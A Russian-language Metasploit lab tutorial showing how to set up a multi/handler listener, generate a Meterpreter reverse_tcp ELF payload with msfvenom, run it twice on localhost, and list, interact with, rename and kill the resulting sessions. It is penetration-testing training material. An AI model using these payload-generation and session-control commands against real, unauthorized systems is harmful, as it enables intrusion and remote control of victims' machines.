Управление несколькими сессиями в Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

При тестировании на проникновение часто возникает необходимость одновременно получить доступ к нескольким системам. Metasploit Framework предоставляет мощный способ управления этими соединениями, которые называются "сессиями" (sessions). Сессия представляет собой активную связь с скомпрометированной целью, которая может быть командной оболочкой (command-line shell) или продвинутой сессией Meterpreter.

Эффективное управление этими сессиями является критически важным навыком. Оно позволяет вам организовать рабочий процесс, беспрепятственно переключаться между целями и поддерживать контроль над скомпрометированными активами. В этой лаборатории вы изучите основные команды для управления несколькими сессиями в Metasploit. Вы научитесь получать сессии, перечислять их, взаимодействовать с конкретными сессиями, переименовывать их для лучшей организации и, наконец, корректно завершать их.

Получение нескольких сессий Meterpreter или shell

На этом шаге вы настроите прослушиватель (listener) в Metasploit, а затем выполните полезную нагрузку (payload) для создания двух отдельных сессий Meterpreter. Это имитирует получение доступа к двум различным системам.

Сначала откройте терминал и запустите консоль Metasploit Framework. Флаг -q позволяет запустить ее в тихом режиме, без отображения баннера.

msfconsole -q

Далее мы настроим универсальный прослушиватель, называемый multi/handler, для ожидания входящих соединений.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Теперь запустите прослушиватель как фоновую задачу, используя флаг -j. Это позволит сохранить доступным приглашение msfconsole для других команд, пока прослушиватель работает в фоновом режиме.

run -j

Вы должны увидеть подтверждение того, что обработчик запущен.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Теперь вам нужно сгенерировать и выполнить полезную нагрузку, которая подключится обратно к этому прослушивателю. Откройте новую, вторую вкладку терминала, нажав значок + в окне терминала.

В этом новом терминале используйте msfvenom для создания полезной нагрузки. Эта команда генерирует исполняемый файл ELF, который при запуске подключится обратно к нашему прослушивателю.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Сделайте сгенерированный файл полезной нагрузки исполняемым:

chmod +x ~/project/payload.elf

Теперь выполните полезную нагрузку дважды, чтобы создать две сессии. Мы запускаем их как фоновые процессы (&), чтобы вы могли немедленно выполнить команду снова.

./payload.elf &
./payload.elf &

Вернитесь в первое окно терминала с msfconsole. Вы увидите сообщения, указывающие на то, что были открыты две сессии Meterpreter.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400

Теперь вы успешно установили две активные сессии.

Список всех активных сессий с помощью команды sessions

На этом шаге вы научитесь просматривать все установленные вами активные сессии. При наличии нескольких открытых сессий вам нужен способ их перечислить, чтобы увидеть, к чему вы подключены.

Для этой цели используется команда sessions. В вашем терминале msfconsole просто введите sessions, чтобы получить список всех активных сессий. Флаг -l является псевдонимом для list и выполняет ту же функцию.

sessions

Вывод будет представлять собой таблицу, содержащую информацию о каждой сессии:

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  1         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Эта таблица предоставляет четкий обзор:

  • Id: Уникальный номер для каждой сессии, используемый для взаимодействия с ней.
  • Name: Пользовательское имя для сессии (в настоящее время пустое).
  • Type: Тип сессии (например, meterpreter, shell).
  • Information: Детали о скомпрометированной системе, такие как идентификатор пользователя.
  • Connection: IP-адреса и порты источника и назначения.

Взаимодействие с конкретной сессией с помощью sessions -i

На этом шаге вы научитесь выбирать и взаимодействовать с конкретной сессией из списка.

После того как вы определили сессию, с которой хотите работать, вы можете использовать команду sessions с флагом -i (interact), за которым следует идентификатор сессии.

Давайте взаимодействовать с первой сессией (ID 1).

sessions -i 1

Ваш командный интерпретатор изменится с msf6 > на meterpreter >, что указывает на то, что вы находитесь внутри сессии Meterpreter и можете выполнять команды, специфичные для Meterpreter.

[*] Starting interaction with 1...

meterpreter >

Чтобы убедиться, что вы находитесь в сессии, выполните простую команду, такую как sysinfo, чтобы получить информацию о системе цели.

sysinfo

Вы увидите вывод, похожий на этот:

Computer     : labex-virtual-machine
OS           : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter  : x64/linux

После завершения работы в сессии вы можете вернуться к основному приглашению msfconsole, не завершая сессию. Для этого используйте команду background.

background

Это переведет сессию в фоновый режим и вернет вас к приглашению msf6 >, позволяя управлять другими сессиями.

[*] Backgrounding session 1...
msf6 exploit(multi/handler) >

Переименование сессии для лучшей организации с помощью sessions -n

На этом шаге вы научитесь переименовывать сессию. При управлении множеством сессий имена по умолчанию не являются описательными. Переименование сессий с осмысленными метками (например, "WebServer", "DBServer") значительно упрощает их идентификацию.

Вы можете переименовать сессию, используя команду sessions с флагом -n (name). Синтаксис: sessions -n <NewName> <ID>.

Давайте переименуем сессию 2 во что-то более описательное, например, TestHost.

sessions -n TestHost 2

Metasploit подтвердит, что сессия была переименована.

[*] Session 2's name has been changed to TestHost.

Теперь снова выведите список сессий, чтобы увидеть изменения.

sessions

Таблица вывода теперь покажет новое имя в столбце "Name" для сессии 2.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  1             meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Это значительно упрощает отслеживание ваших целей.

Завершение сессии с помощью sessions -k

На этом шаге вы научитесь завершать сессию. После завершения работы с целевой системой или если сессия больше не нужна, ее следует закрыть.

Для завершения, или "убийства", сессии используйте команду sessions с флагом -k (kill), за которым следует идентификатор сессии.

Давайте завершим сессию 1.

sessions -k 1

Metasploit подтвердит, что сессия останавливается.

[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: User exit

Чтобы убедиться, что сессия была завершена, выведите список активных сессий еще раз.

sessions

В выводе теперь будет показана только оставшаяся сессия, TestHost.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Вы успешно удалили ненужную сессию.

Итоги

Поздравляем с завершением этой лабораторной работы! Вы освоили основные навыки управления несколькими сессиями в Metasploit Framework.

В этой лабораторной работе вы практиковались в:

  • Создании нескольких сессий Meterpreter с использованием multi/handler и полезной нагрузки (payload).
  • Выводе списка всех активных сессий командой sessions.
  • Взаимодействии с конкретной сессией с помощью sessions -i <ID>.
  • Переименовании сессии для лучшей организации с помощью sessions -n <Name> <ID>.
  • Корректном завершении сессии с помощью sessions -k <ID>.

Овладение этими командами является основополагающим для любого специалиста по тестированию на проникновение, поскольку оно обеспечивает эффективный и организованный контроль над несколькими скомпрометированными системами.